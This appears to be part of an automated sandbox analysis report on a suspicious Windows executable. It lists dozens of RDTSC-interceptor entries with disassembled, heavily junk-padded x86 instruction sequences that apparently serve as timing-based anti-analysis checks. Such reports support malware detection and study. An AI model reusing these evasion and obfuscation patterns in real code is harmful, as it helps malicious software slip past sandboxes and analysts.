Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0294 second address: 49C02AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C02AC second address: 49C02B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C02B2 second address: 49C02FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov esi, 52C5877Dh 0x00000010 pushfd 0x00000011 jmp 00007F5DA4981DAAh 0x00000016 adc ax, 3658h 0x0000001b jmp 00007F5DA4981DABh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F5DA4981DB4h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C02FB second address: 49C033B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F5DA4DA2F66h 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4DA2F67h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C033B second address: 49C0361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ebx, esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5DA4981DB8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0361 second address: 49C0367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0367 second address: 49C036B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C036B second address: 49C036F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C036F second address: 49C038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5DA4981DB4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C03DC second address: 49C03F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04AF second address: 49C04B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04B5 second address: 49C04BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04BB second address: 49C04BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04BF second address: 49C04C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04C3 second address: 49C04D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04D2 second address: 49C04D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04D6 second address: 49C04DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04DC second address: 49C04FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04FA second address: 49C04FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C04FE second address: 49C0504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0504 second address: 49C050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0531 second address: 49C0552 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 077Ah 0x00000007 push edx 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test eax, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4DA2F5Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0552 second address: 49C0558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0558 second address: 49C055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C055E second address: 49C05DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F5E15A5FCC0h 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F5DA4981DAEh 0x00000018 or al, 00000048h 0x0000001b jmp 00007F5DA4981DABh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F5DA4981DB8h 0x00000027 add al, FFFFFFA8h 0x0000002a jmp 00007F5DA4981DABh 0x0000002f popfd 0x00000030 popad 0x00000031 js 00007F5DA4981E31h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F5DA4981DB0h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C05DA second address: 49C05DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C05DE second address: 49C05E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C05E4 second address: 49C05F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C05F5 second address: 49C0671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-14h], edi 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 pushfd 0x00000013 jmp 00007F5DA4981DB8h 0x00000018 sub eax, 20D829C8h 0x0000001e jmp 00007F5DA4981DABh 0x00000023 popfd 0x00000024 popad 0x00000025 jne 00007F5E15A5FC02h 0x0000002b pushad 0x0000002c mov di, cx 0x0000002f pushad 0x00000030 movzx esi, di 0x00000033 mov ecx, ebx 0x00000035 popad 0x00000036 popad 0x00000037 mov ebx, dword ptr [ebp+08h] 0x0000003a jmp 00007F5DA4981DB5h 0x0000003f lea eax, dword ptr [ebp-2Ch] 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 push esi 0x00000046 pop ebx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0671 second address: 49C06E2 instructions: 0x00000000 rdtsc 0x00000002 mov dh, al 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bh, 2Ch 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5DA4DA2F68h 0x00000011 add cl, FFFFFFE8h 0x00000014 jmp 00007F5DA4DA2F5Bh 0x00000019 popfd 0x0000001a jmp 00007F5DA4DA2F68h 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 pushad 0x00000023 mov dl, 95h 0x00000025 mov di, ax 0x00000028 popad 0x00000029 jmp 00007F5DA4DA2F64h 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 movzx eax, bx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C06E2 second address: 49C0780 instructions: 0x00000000 rdtsc 0x00000002 mov esi, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bx, 38D8h 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5DA4981DAAh 0x00000013 xor eax, 5F0A8808h 0x00000019 jmp 00007F5DA4981DABh 0x0000001e popfd 0x0000001f mov cx, 4E7Fh 0x00000023 popad 0x00000024 mov dword ptr [esp], eax 0x00000027 jmp 00007F5DA4981DB2h 0x0000002c xchg eax, ebx 0x0000002d jmp 00007F5DA4981DB0h 0x00000032 push eax 0x00000033 jmp 00007F5DA4981DABh 0x00000038 xchg eax, ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ax, di 0x0000003f pushfd 0x00000040 jmp 00007F5DA4981DB7h 0x00000045 sbb al, 0000000Eh 0x00000048 jmp 00007F5DA4981DB9h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C07CA second address: 49C0840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F5DA4DA2F5Eh 0x00000012 sbb esi, 0F833178h 0x00000018 jmp 00007F5DA4DA2F5Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f pushfd 0x00000020 jmp 00007F5DA4DA2F5Fh 0x00000025 add al, 0000003Eh 0x00000028 jmp 00007F5DA4DA2F69h 0x0000002d popfd 0x0000002e pop ecx 0x0000002f popad 0x00000030 test esi, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F5DA4DA2F5Ah 0x00000039 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0840 second address: 49C0008 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5E15A5FBACh 0x0000000f xor eax, eax 0x00000011 jmp 00007F5DA495B4DAh 0x00000016 pop esi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 leave 0x0000001a retn 0004h 0x0000001d nop 0x0000001e sub esp, 04h 0x00000021 mov esi, eax 0x00000023 xor ebx, ebx 0x00000025 cmp esi, 00000000h 0x00000028 je 00007F5DA4981EE5h 0x0000002e call 00007F5DA925DDECh 0x00000033 mov edi, edi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0008 second address: 49C000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C000C second address: 49C0010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0010 second address: 49C0016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0016 second address: 49C001C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C001C second address: 49C008B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F60h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5DA4DA2F5Eh 0x00000013 and cx, 35F8h 0x00000018 jmp 00007F5DA4DA2F5Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F5DA4DA2F68h 0x00000024 jmp 00007F5DA4DA2F65h 0x00000029 popfd 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C008B second address: 49C008F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C008F second address: 49C00A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F66h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C00A9 second address: 49C00AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C00AF second address: 49C00B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C00B3 second address: 49C00ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F5DA4981DAEh 0x00000011 mov ebp, esp 0x00000013 jmp 00007F5DA4981DB0h 0x00000018 xchg eax, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C00ED second address: 49C00F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C00F4 second address: 49C0151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5DA4981DB2h 0x00000009 adc al, FFFFFFD8h 0x0000000c jmp 00007F5DA4981DABh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F5DA4981DB8h 0x00000018 and ax, A438h 0x0000001d jmp 00007F5DA4981DABh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov si, 3B81h 0x0000002e push esi 0x0000002f pop edx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0D7F second address: 49C0D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0D85 second address: 49C0D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0D89 second address: 49C0D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0E11 second address: 49C0E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0E15 second address: 49C0E1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49C0E1B second address: 49C0E2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4981DADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D09AA second address: 49D09B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D09B0 second address: 49D09B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0AB8 second address: 49D0ABE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0ABE second address: 49D0AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0AC2 second address: 49D0AC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0AC6 second address: 49D0AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov ax, dx 0x0000000e mov dh, F8h 0x00000010 popad 0x00000011 je 00007F5E15A3F686h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a jmp 00007F5DA4981DADh 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0AF0 second address: 49D0B1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 call 00007F5DA4DA2F64h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f cmp dword ptr [75AF459Ch], 05h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B1B second address: 49D0B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B1F second address: 49D0B23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B23 second address: 49D0B29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B29 second address: 49D0B76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F5E15E788BAh 0x00000010 jmp 00007F5DA4DA2F68h 0x00000015 xchg eax, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 call 00007F5DA4DA2F5Dh 0x0000001e pop eax 0x0000001f call 00007F5DA4DA2F61h 0x00000024 pop esi 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B76 second address: 49D0B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 49D0B7C second address: 49D0BA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5B5DDB7 second address: 5B5DDC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F5DA4981DA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDB850 second address: 5CDB85A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDAB83 second address: 5CDAB89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDAB89 second address: 5CDAB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDACCD second address: 5CDACD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDACD3 second address: 5CDACD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDAF5E second address: 5CDAF64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDAF64 second address: 5CDAF68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDAF68 second address: 5CDAF6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDB0B7 second address: 5CDB0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F5DA4DA2F56h 0x0000000d jmp 00007F5DA4DA2F60h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDD50 second address: 5CDDD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5DA4981DA6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F5DA4981DAEh 0x00000019 pop edi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDD76 second address: 5B5DDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 mov di, AC84h 0x0000000b push dword ptr [ebp+122D14FDh] 0x00000011 sub ecx, 286B7921h 0x00000017 call dword ptr [ebp+122D1CDDh] 0x0000001d pushad 0x0000001e jnl 00007F5DA4DA2F57h 0x00000024 xor eax, eax 0x00000026 jmp 00007F5DA4DA2F5Fh 0x0000002b mov edx, dword ptr [esp+28h] 0x0000002f cld 0x00000030 mov dword ptr [ebp+122D2D40h], eax 0x00000036 or dword ptr [ebp+122D1CD8h], esi 0x0000003c mov esi, 0000003Ch 0x00000041 xor dword ptr [ebp+122D2950h], edi 0x00000047 add esi, dword ptr [esp+24h] 0x0000004b sub dword ptr [ebp+122D1CD8h], edx 0x00000051 lodsw 0x00000053 or dword ptr [ebp+122D2950h], ebx 0x00000059 add eax, dword ptr [esp+24h] 0x0000005d jl 00007F5DA4DA2F57h 0x00000063 stc 0x00000064 mov ebx, dword ptr [esp+24h] 0x00000068 jl 00007F5DA4DA2F62h 0x0000006e ja 00007F5DA4DA2F5Ch 0x00000074 mov dword ptr [ebp+122D1CD8h], edx 0x0000007a nop 0x0000007b push eax 0x0000007c push edx 0x0000007d jmp 00007F5DA4DA2F69h 0x00000082 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDDAD second address: 5CDDDC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5DA4981DA8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007F5DA4981DA6h 0x00000016 rdtsc
